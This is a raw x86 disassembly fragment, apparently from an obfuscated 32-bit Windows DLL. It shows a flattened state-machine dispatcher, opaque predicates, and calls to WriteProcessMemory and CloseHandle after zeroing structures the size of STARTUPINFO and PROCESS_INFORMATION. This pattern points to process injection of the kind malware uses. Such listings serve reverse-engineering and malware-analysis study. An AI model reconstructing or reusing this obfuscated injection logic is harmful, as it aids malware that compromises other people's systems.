mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x17ac882e
mov ecx, 0x1fc5c61e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov dword [ebp - 0x140], 0x1b5e815
jmp 0x100050a0
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x140], 0xf28728f
jmp 0x100050a0
mov dword [ebp - 0x140], 0xdfa7e572
jmp 0x100050a0
mov eax, dword [0x10035938]
mov ecx, dword [0x10035934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bd9ab7
mov ecx, 0x71e663ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x100050a0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100055f0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100061f0
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100061f0
add esp, 0xc
mov dword [ebp - 0x140], 0xecbf06e7
jmp 0x100050a0
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x140], 0x186163ee
jmp 0x100050a0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x140], 0xee868ee6
jmp 0x100050a0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x140], 0xacba8b57
jmp 0x100050a0
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x140], 0xe1a35508
jmp 0x100050a0
mov dword [ebp - 0x140], 0x71e663ea
jmp 0x100023c0